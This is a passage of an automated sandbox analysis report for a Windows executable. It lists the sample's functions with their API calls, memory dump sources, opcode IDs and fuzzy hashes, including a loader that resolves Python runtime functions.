Instruction Fuzzy Hash: 7331AE33E3C64285FB517B65984137C2750AB40B94F4282B5E9AD833F2DF7DE851A720

Function 00007FF67AEE99D1 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF67AEE99FF

Part of subcall function 00007FF67AEE9AF8: GetModuleHandleExW.KERNEL32 ref: 00007FF67AEE9B1D
Part of subcall function 00007FF67AEE9AF8: GetProcAddress.KERNEL32 ref: 00007FF67AEE9B33
Part of subcall function 00007FF67AEE9AF8: FreeLibrary.KERNEL32 ref: 00007FF67AEE9B5A

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
Instruction ID: 895fc138cd33cb66834ce7649777255af0e280a7022b29f3675b4ed77fa86463
Opcode Fuzzy Hash: c67799cafce48778543f3f8f4be5d8193b6380671b5390c3378b203fc6564281
Instruction Fuzzy Hash: 78218E32A287828AFB64AF64C4442FC33E4EB04718F444679E62D86AE5DF38D594DB40

Function 00007FF67AEE6004 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE5F69

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: 22817d08d890a1a2226241b1902e71ad2f3a58f59e8328b87c6d5a7b5bd475b0
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: 96115123A3C64181FA60BF51A41027EA3A4BF45B80F5540B5EB4CD7AB6DF7DD940E750

Function 00007FF67AEF63C4 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEF63E7

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction ID: 90f5500a99a89a37c7e31c2ff7eb5a24c73b0e9f0b58a75dbb753a7c7154c6e2
Opcode Fuzzy Hash: 3ea3ce3b0d542221f39e0ec21b1c29adddc4a64aa4be1ebee55588f6cedcbaa9
Instruction Fuzzy Hash: 50216573628AC287D7A1AF18E44037977A0FB84B54F544278EA9DC76E9DF3DD4049B01

Function 00007FF67AEE042C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE0480

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: 67d57be4f972b6edd41dcb2f958cc587ff1bbeb1c7af30665da0a5d1d4954090
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 6801C463A6C74140FA04FF529A01069A7E1BF85FE0F0846B1EE5C97BE6DE3CE501A300

Function 00007FF67AEE7F6C Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE7FAA

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 6832eb5f98ca96f5e7cd25db8366a3c1a8b2d6b45623d2691d830cdd3d76c9ad
Instruction ID: b5daa2ec06f45799ee1bbfcbe188ddbe3d60b09e49ad2efd48fc9f0d358ebc73
Opcode Fuzzy Hash: 6832eb5f98ca96f5e7cd25db8366a3c1a8b2d6b45623d2691d830cdd3d76c9ad
Instruction Fuzzy Hash: BC016922E3D68280FF607BA5A9011796390AF047E0F5445B9EA1CC37E6EF2CA841EA11

Function 00007FF67AEE82A8 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEE82C1

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3541b91b086c77dfe17527b78ee7977ece0d5fdea915d925a3ffaee66e22a6c2
Instruction ID: 7aa3b2915cab1a240d5b691576304de02680a5e4e5b1c56bc4c4a67e40677038
Opcode Fuzzy Hash: 3541b91b086c77dfe17527b78ee7977ece0d5fdea915d925a3ffaee66e22a6c2
Instruction Fuzzy Hash: ADE012A3E3CA4786F7143BB8458617913505FA9741F4154F4E908E63F3DF2D6849B721

Function 00007FF67AEEEC08 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF67AEEB39A,?,?,?,00007FF67AEE4F81,?,?,?,?,00007FF67AEEA4FA), ref: 00007FF67AEEEC5D

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 359dceec71bad03d682dc04f56d48d79ef81111e86adbc932549883800f831e6
Instruction ID: 4f2edcf9cc4e26ee22f3682bb768c12c1c08652d4aed9a35be88a98b7cce543d
Opcode Fuzzy Hash: 359dceec71bad03d682dc04f56d48d79ef81111e86adbc932549883800f831e6
Instruction Fuzzy Hash: 8FF09052B2D787E0FE987B62A8513B563809F88F80F4C55B0CD0EC63F1EE1CE480A210

Function 00007FF67AEED66C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF67AEE0D00,?,?,?,00007FF67AEE236A,?,?,?,?,?,00007FF67AEE3B59), ref: 00007FF67AEED6AA

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction ID: 246bcc63316234fdbbf05648262b30252832f46eca54ec5bf25f60ccc97889d3
Opcode Fuzzy Hash: 5ab6faa5eb5c52a79f6ef15f458d67d4847db3a002ac7bba2a3205d093894568
Instruction Fuzzy Hash: AFF05812F2E34384FEA47771588127813908F94BA0F0C03B0DD2ECA3F2EE6CE480A610

Non-executed Functions

Function 00007FF67AED5820 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF67AED64BF,?,00007FF67AED336E), ref: 00007FF67AED5830
GetLastError.KERNEL32(?,00007FF67AED64BF,?,00007FF67AED336E), ref: 00007FF67AED5842
GetProcAddress.KERNEL32(?,00007FF67AED64BF,?,00007FF67AED336E), ref: 00007FF67AED5879
GetLastError.KERNEL32(?,00007FF67AED64BF,?,00007FF67AED336E), ref: 00007FF67AED588B
GetProcAddress.KERNEL32(?,00007FF67AED64BF,?,00007FF67AED336E), ref: 00007FF67AED58A4
GetLastError.KERNEL32(?,00007FF67AED64BF,?,00007FF67AED336E), ref: 00007FF67AED58B6
GetProcAddress.KERNEL32(?,00007FF67AED64BF,?,00007FF67AED336E), ref: 00007FF67AED58CF
GetLastError.KERNEL32(?,00007FF67AED64BF,?,00007FF67AED336E), ref: 00007FF67AED58E1
GetProcAddress.KERNEL32(?,00007FF67AED64BF,?,00007FF67AED336E), ref: 00007FF67AED58FD
GetLastError.KERNEL32(?,00007FF67AED64BF,?,00007FF67AED336E), ref: 00007FF67AED590F
GetProcAddress.KERNEL32(?,00007FF67AED64BF,?,00007FF67AED336E), ref: 00007FF67AED592B
GetLastError.KERNEL32(?,00007FF67AED64BF,?,00007FF67AED336E), ref: 00007FF67AED593D
GetProcAddress.KERNEL32(?,00007FF67AED64BF,?,00007FF67AED336E), ref: 00007FF67AED5959
GetLastError.KERNEL32(?,00007FF67AED64BF,?,00007FF67AED336E), ref: 00007FF67AED596B
GetProcAddress.KERNEL32(?,00007FF67AED64BF,?,00007FF67AED336E), ref: 00007FF67AED5987
GetLastError.KERNEL32(?,00007FF67AED64BF,?,00007FF67AED336E), ref: 00007FF67AED5999
GetProcAddress.KERNEL32(?,00007FF67AED64BF,?,00007FF67AED336E), ref: 00007FF67AED59B5
GetLastError.KERNEL32(?,00007FF67AED64BF,?,00007FF67AED336E), ref: 00007FF67AED59C7

Strings

PyObject_CallFunction, xrefs: 00007FF67AED5CE7, 00007FF67AED5D09
PyStatus_Exception, xrefs: 00007FF67AED5E29, 00007FF67AED5E4B
PyErr_NormalizeException, xrefs: 00007FF67AED5AED, 00007FF67AED5B0F
PyImport_ImportModule, xrefs: 00007FF67AED5C2F, 00007FF67AED5C51
PyUnicode_Replace, xrefs: 00007FF67AED5FC7, 00007FF67AED5FE9
PyObject_SetAttrString, xrefs: 00007FF67AED5D71, 00007FF67AED5D93
PyErr_Clear, xrefs: 00007FF67AED5A91, 00007FF67AED5AB3
PyImport_ExecCodeModule, xrefs: 00007FF67AED5C01, 00007FF67AED5C23
PyUnicode_FromString, xrefs: 00007FF67AED5F6B, 00007FF67AED5F8D
PyImport_AddModule, xrefs: 00007FF67AED5BD3, 00007FF67AED5BF5
PyUnicode_FromFormat, xrefs: 00007FF67AED5F3D, 00007FF67AED5F5F
PyErr_Restore, xrefs: 00007FF67AED5B77, 00007FF67AED5B99
Py_Finalize, xrefs: 00007FF67AED58C5, 00007FF67AED58E7
PyMarshal_ReadObjectFromString, xrefs: 00007FF67AED5C5D, 00007FF67AED5C7F
PyObject_GetAttrString, xrefs: 00007FF67AED5D43, 00007FF67AED5D65
PyEval_EvalCode, xrefs: 00007FF67AED5BA5, 00007FF67AED5BC7
PyConfig_SetString, xrefs: 00007FF67AED5A35, 00007FF67AED5A57
Py_InitializeFromConfig, xrefs: 00007FF67AED58F3, 00007FF67AED5915
PySys_GetObject, xrefs: 00007FF67AED5E57, 00007FF67AED5E79
PyRun_SimpleStringFlags, xrefs: 00007FF67AED5DFB, 00007FF67AED5E1D
GetProcAddress, xrefs: 00007FF67AED5858
PyErr_Print, xrefs: 00007FF67AED5B49, 00007FF67AED5B6B
PyErr_Fetch, xrefs: 00007FF67AED5ABF, 00007FF67AED5AE1
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF67AED5DCD, 00007FF67AED5DEF
PyObject_Str, xrefs: 00007FF67AED5D9F, 00007FF67AED5DC1
PyConfig_SetWideStringList, xrefs: 00007FF67AED5A63, 00007FF67AED5A85
PyUnicode_DecodeFSDefault, xrefs: 00007FF67AED5F0F, 00007FF67AED5F31
PyUnicode_Decode, xrefs: 00007FF67AED5EE1, 00007FF67AED5F03
PyModule_GetDict, xrefs: 00007FF67AED5CB9, 00007FF67AED5CDB
PyUnicode_Join, xrefs: 00007FF67AED5F99, 00007FF67AED5FBB
PyConfig_InitIsolatedConfig, xrefs: 00007FF67AED59AB, 00007FF67AED59CD
PyMem_RawFree, xrefs: 00007FF67AED5C8B, 00007FF67AED5CAD
Py_DecodeLocale, xrefs: 00007FF67AED586F, 00007FF67AED5891
Failed to get address for %hs, xrefs: 00007FF67AED5851
PyObject_CallFunctionObjArgs, xrefs: 00007FF67AED5D15, 00007FF67AED5D37
PyUnicode_AsUTF8, xrefs: 00007FF67AED5EB3, 00007FF67AED5ED5
PyConfig_Read, xrefs: 00007FF67AED59D9, 00007FF67AED59FB
PySys_SetObject, xrefs: 00007FF67AED5E85, 00007FF67AED5EA7
Py_IsInitialized, xrefs: 00007FF67AED5921, 00007FF67AED5943
Py_ExitStatusException, xrefs: 00007FF67AED589A, 00007FF67AED58BC
Py_PreInitialize, xrefs: 00007FF67AED594F, 00007FF67AED5971
PyErr_Occurred, xrefs: 00007FF67AED5B1B, 00007FF67AED5B3D
Py_DecRef, xrefs: 00007FF67AED5826, 00007FF67AED5848
PyConfig_Clear, xrefs: 00007FF67AED597D, 00007FF67AED599F
PyConfig_SetBytesString, xrefs: 00007FF67AED5A07, 00007FF67AED5A29

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
Instruction ID: e33f6a3009816e3b3d5cd57f177aaf321020c512ca1b45e661f61a2a33ef5d31
Opcode Fuzzy Hash: 3ca4f2c8e8fa74ff45c561f9825c8e8d27386d4e804e1314c270c66bff6859f6
Instruction Fuzzy Hash: 7C22B566A39F47C5FA84BB55B82057423A1EF88744F6454B9C85E822B0FF3CB188FA14

Function 00007FF67AEDD19C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF67AEDD1B8
RtlCaptureContext.KERNEL32 ref: 00007FF67AEDD1E5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF67AEDD1FF
RtlVirtualUnwind.KERNEL32 ref: 00007FF67AEDD240
IsDebuggerPresent.KERNEL32 ref: 00007FF67AEDD294
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF67AEDD2B1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF67AEDD2BC

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
Instruction ID: cf2770487e1234ec44757334ece3c32facafec0d435b1ac96b1089b2e334007d
Opcode Fuzzy Hash: e81d7d82d421bb6c6595da19fcb57285cd54aee8b88ef40036ddb2a35706c3b0
Instruction Fuzzy Hash: 81313373619B8189EBA09F64E8803EE7364FB84744F444439DA4D87BA5EF3CD548DB10

Function 00007FF67AEF5C70 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF67AEF5CB5

Part of subcall function 00007FF67AEF5608: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEF561C

Part of subcall function 00007FF67AEEA9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF67AEF2D92,?,?,?,00007FF67AEF2DCF,?,?,00000000,00007FF67AEF3295,?,?,?,00007FF67AEF31C7), ref: 00007FF67AEEA9CE
Part of subcall function 00007FF67AEEA9B8: GetLastError.KERNEL32(?,?,?,00007FF67AEF2D92,?,?,?,00007FF67AEF2DCF,?,?,00000000,00007FF67AEF3295,?,?,?,00007FF67AEF31C7), ref: 00007FF67AEEA9D8

Part of subcall function 00007FF67AEEA970: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF67AEEA94F,?,?,?,?,?,00007FF67AEEA83A), ref: 00007FF67AEEA979
Part of subcall function 00007FF67AEEA970: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF67AEEA94F,?,?,?,?,?,00007FF67AEEA83A), ref: 00007FF67AEEA99E

_get_daylight.LIBCMT ref: 00007FF67AEF5CA4

Part of subcall function 00007FF67AEF5668: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEF567C

_get_daylight.LIBCMT ref: 00007FF67AEF5F1A
_get_daylight.LIBCMT ref: 00007FF67AEF5F2B
_get_daylight.LIBCMT ref: 00007FF67AEF5F3C
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF67AEF617C), ref: 00007FF67AEF5F63

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: 76424cc0ec02945f4fd2ccc640ea60475aa997d4131cc6c9dd67359800dfdabb
Instruction ID: 2ea0de5c1396435eefc315366a3c5b596948944cbb0b1f8305bf955c7f59c302
Opcode Fuzzy Hash: 76424cc0ec02945f4fd2ccc640ea60475aa997d4131cc6c9dd67359800dfdabb
Instruction Fuzzy Hash: 45D12363A2828286E7A4FF21E8501B92751FF94784F41817EEE0DC76A6EF3CE541DB50

Function 00007FF67AEEA684 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF67AEEA6FD
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF67AEEA715
RtlVirtualUnwind.KERNEL32 ref: 00007FF67AEEA750
IsDebuggerPresent.KERNEL32 ref: 00007FF67AEEA789
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF67AEEA793
UnhandledExceptionFilter.KERNEL32 ref: 00007FF67AEEA79E

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
Instruction ID: 759933061a3edcf233720f7591b4b4f66ffe811888fea1985be1a0af5e8c6ccc
Opcode Fuzzy Hash: 823e7cd4caae9fc37a1281b2c5c5551f9de180c5e8ac7c275112a8c84bbfd9bf
Instruction Fuzzy Hash: 92318837628F8189E760DF25E8402AE73A4FB84754F540179EA9D87B65EF3CD145CB00

Function 00007FF67AEF18E4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF67AEF1930
FindFirstFileExW.KERNEL32 ref: 00007FF67AEF1A3A

Memory Dump Source

Source File: 00000005.00000002.3019440736.00007FF67AED1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF67AED0000, based on PE: true

Associated: 00000005.00000002.3019253519.00007FF67AED0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019597939.00007FF67AEFB000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3019759926.00007FF67AF12000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.3020018200.00007FF67AF14000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff67aed0000_D1UL0FG.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 5fde642f47360a120b3bbdc49a752417dcdc94f7dd720a243365bab1f94d45be
Instruction ID: edf9fc3ce711f272e282dd1079321189cd236e8647c2bf17a826b26ca683f037
Opcode Fuzzy Hash: 5fde642f47360a120b3bbdc49a752417dcdc94f7dd720a243365bab1f94d45be
Instruction Fuzzy Hash: ACB1B723B3C69A81EAA1AB21F4101BD6350EB44BE4F44517AEF5D87BE5EE3CE441DB00

Function 00007FF67AEF5EEC Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF67AEF5F1A

